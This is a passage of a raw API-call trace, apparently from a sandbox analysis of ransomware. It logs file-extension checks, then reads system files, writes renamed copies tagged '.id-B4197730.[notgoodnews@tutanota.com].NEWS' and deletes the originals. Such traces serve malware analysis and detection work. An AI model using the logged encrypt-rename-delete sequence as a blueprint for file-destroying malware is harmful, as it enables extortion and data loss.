(lpString=".doc") returned 4 [0083.914] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.914] lstrlenW (lpString=".docx") returned 5 [0083.914] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0083.915] lstrlenW (lpString=".pdf") returned 4 [0083.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.915] lstrlenW (lpString=".xls") returned 4 [0083.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.915] lstrlenW (lpString=".xlsx") returned 5 [0083.915] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0083.915] lstrlenW (lpString=".ppt") returned 4 [0083.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.915] lstrlenW (lpString=".zip") returned 4 [0083.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.915] lstrlenW (lpString=".rar") returned 4 [0083.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.915] lstrlenW (lpString=".bz2") returned 4 [0083.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.915] lstrlenW (lpString=".7z") returned 3 [0083.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.915] lstrlenW (lpString=".dbf") returned 4 [0083.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.915] lstrlenW (lpString=".1cd") returned 4 [0083.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.915] lstrlenW (lpString=".jpg") returned 4 [0083.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.915] lstrlenW (lpString=".doc") returned 4 [0083.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0083.915] lstrlenW (lpString=".docx") returned 5 [0083.915] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0083.915] lstrlenW (lpString=".pdf") returned 4 [0083.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.915] lstrlenW (lpString=".xls") returned 4 [0083.916] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0083.916] lstrlenW (lpString=".xlsx") returned 5 [0083.916] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0083.916] lstrlenW (lpString=".ppt") returned 4 [0083.916] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.916] lstrlenW (lpString=".zip") returned 4 [0083.916] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0083.916] lstrlenW (lpString=".rar") returned 4 [0083.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.916] lstrlenW (lpString=".bz2") returned 4 [0083.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0083.916] lstrlenW (lpString=".7z") returned 3 [0083.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0083.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.916] lstrlenW (lpString=".dbf") returned 4 [0083.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0083.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.916] lstrlenW (lpString=".1cd") returned 4 [0083.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0083.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0083.916] lstrlenW (lpString=".jpg") returned 4 [0083.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0083.916] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0083.916] lstrlenW (lpString="MavInject32.exe") returned 15 [0083.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0085.545] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=358616) returned 1 [0085.545] CloseHandle (hObject=0x344) returned 1 [0085.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0085.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0086.333] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.333] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0087.270] GetLastError () returned 0x0 [0087.271] ReadFile (in: hFile=0x33c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x578d8, lpOverlapped=0x0) returned 1 [0087.278] WriteFile (in: hFile=0x37c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x578e0, lpOverlapped=0x0) returned 1 [0087.284] ReadFile (in: hFile=0x33c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0087.284] WriteFile (in: hFile=0x37c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0087.284] SetEndOfFile (hFile=0x37c) returned 1 [0087.285] CloseHandle (hObject=0x37c) returned 1 [0087.285] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.285] SetEndOfFile (hFile=0x33c) returned 1 [0087.289] CloseHandle (hObject=0x33c) returned 1 [0087.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0087.289] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0087.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.289] lstrlenW (lpString=".doc") returned 4 [0087.289] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0087.289] lstrlenW (lpString=".docx") returned 5 [0087.289] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0087.289] lstrlenW (lpString=".pdf") returned 4 [0087.289] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0087.289] lstrlenW (lpString=".xls") returned 4 [0087.289] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0087.289] lstrlenW (lpString=".xlsx") returned 5 [0087.289] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0087.290] lstrlenW (lpString=".ppt") returned 4 [0087.290] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0087.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.290] lstrlenW (lpString=".zip") returned 4 [0087.290] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0087.290] lstrlenW (lpString=".rar") returned 4 [0087.290] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0087.290] lstrlenW (lpString=".bz2") returned 4 [0087.290] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0087.290] lstrlenW (lpString=".7z") returned 3 [0087.290] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0087.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.290] lstrlenW (lpString=".dbf") returned 4 [0087.290] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0087.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.290] lstrlenW (lpString=".1cd") returned 4 [0087.290] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0087.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.290] lstrlenW (lpString=".jpg") returned 4 [0087.290] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0087.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.290] lstrlenW (lpString=".doc") returned 4 [0087.290] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0087.290] lstrlenW (lpString=".docx") returned 5 [0087.290] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0087.290] lstrlenW (lpString=".pdf") returned 4 [0087.290] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0087.290] lstrlenW (lpString=".xls") returned 4 [0087.290] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0087.290] lstrlenW (lpString=".xlsx") returned 5 [0087.290] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0087.290] lstrlenW (lpString=".ppt") returned 4 [0087.290] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0087.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.290] lstrlenW (lpString=".zip") returned 4 [0087.291] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0087.291] lstrlenW (lpString=".rar") returned 4 [0087.291] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0087.291] lstrlenW (lpString=".bz2") returned 4 [0087.291] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0087.291] lstrlenW (lpString=".7z") returned 3 [0087.291] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0087.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.291] lstrlenW (lpString=".dbf") returned 4 [0087.291] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0087.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.291] lstrlenW (lpString=".1cd") returned 4 [0087.291] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0087.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0087.291] lstrlenW (lpString=".jpg") returned 4 [0087.291] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0087.642] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.642] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0087.643] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=9728) returned 1 [0087.643] CloseHandle (hObject=0x364) returned 1 [0087.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0087.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.741] lstrlenW (lpString=".doc") returned 4 [0087.741] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.741] lstrlenW (lpString=".docx") returned 5 [0087.741] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.741] lstrlenW (lpString=".pdf") returned 4 [0087.741] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.741] lstrlenW (lpString=".xls") returned 4 [0087.741] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.741] lstrlenW (lpString=".xlsx") returned 5 [0087.741] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.741] lstrlenW (lpString=".ppt") returned 4 [0087.741] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.741] lstrlenW (lpString=".zip") returned 4 [0087.741] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.741] lstrlenW (lpString=".rar") returned 4 [0087.741] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.741] lstrlenW (lpString=".bz2") returned 4 [0087.741] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.741] lstrlenW (lpString=".7z") returned 3 [0087.741] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.742] lstrlenW (lpString=".dbf") returned 4 [0087.742] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.742] lstrlenW (lpString=".1cd") returned 4 [0087.742] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.742] lstrlenW (lpString=".jpg") returned 4 [0087.742] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.742] lstrlenW (lpString=".doc") returned 4 [0087.742] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.742] lstrlenW (lpString=".docx") returned 5 [0087.742] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.742] lstrlenW (lpString=".pdf") returned 4 [0087.742] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.742] lstrlenW (lpString=".xls") returned 4 [0087.742] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.742] lstrlenW (lpString=".xlsx") returned 5 [0087.742] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.742] lstrlenW (lpString=".ppt") returned 4 [0087.742] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.742] lstrlenW (lpString=".zip") returned 4 [0087.742] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.742] lstrlenW (lpString=".rar") returned 4 [0087.742] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.742] lstrlenW (lpString=".bz2") returned 4 [0087.742] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.742] lstrlenW (lpString=".7z") returned 3 [0087.742] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.742] lstrlenW (lpString=".dbf") returned 4 [0087.742] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.743] lstrlenW (lpString=".1cd") returned 4 [0087.743] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.743] lstrlenW (lpString=".jpg") returned 4 [0087.743] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.743] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.743] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.743] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=10752) returned 1 [0087.743] CloseHandle (hObject=0x2f4) returned 1 [0087.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0087.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.744] lstrlenW (lpString=".doc") returned 4 [0087.744] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.744] lstrlenW (lpString=".docx") returned 5 [0087.744] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.744] lstrlenW (lpString=".pdf") returned 4 [0087.744] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.745] lstrlenW (lpString=".xls") returned 4 [0087.745] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.745] lstrlenW (lpString=".xlsx") returned 5 [0087.745] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.745] lstrlenW (lpString=".ppt") returned 4 [0087.745] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.745] lstrlenW (lpString=".zip") returned 4 [0087.745] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.745] lstrlenW (lpString=".rar") returned 4 [0087.745] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.745] lstrlenW (lpString=".bz2") returned 4 [0087.745] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.745] lstrlenW (lpString=".7z") returned 3 [0087.745] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.745] lstrlenW (lpString=".dbf") returned 4 [0087.745] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.745] lstrlenW (lpString=".1cd") returned 4 [0087.745] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.745] lstrlenW (lpString=".jpg") returned 4 [0087.745] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.745] lstrlenW (lpString=".doc") returned 4 [0087.745] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.745] lstrlenW (lpString=".docx") returned 5 [0087.745] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.745] lstrlenW (lpString=".pdf") returned 4 [0087.745] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.745] lstrlenW (lpString=".xls") returned 4 [0087.745] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.746] lstrlenW (lpString=".xlsx") returned 5 [0087.746] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.746] lstrlenW (lpString=".ppt") returned 4 [0087.746] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.746] lstrlenW (lpString=".zip") returned 4 [0087.746] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.746] lstrlenW (lpString=".rar") returned 4 [0087.746] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.746] lstrlenW (lpString=".bz2") returned 4 [0087.746] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.746] lstrlenW (lpString=".7z") returned 3 [0087.746] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.746] lstrlenW (lpString=".dbf") returned 4 [0087.746] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.746] lstrlenW (lpString=".1cd") returned 4 [0087.746] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.746] lstrlenW (lpString=".jpg") returned 4 [0087.746] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.746] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.746] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.749] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=9728) returned 1 [0087.749] CloseHandle (hObject=0x2f4) returned 1 [0087.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0087.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0087.749] lstrlenW (lpString=".doc") returned 4 [0087.749] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.749] lstrlenW (lpString=".docx") returned 5 [0087.749] lstrcmpiW (lpString1=".docx", 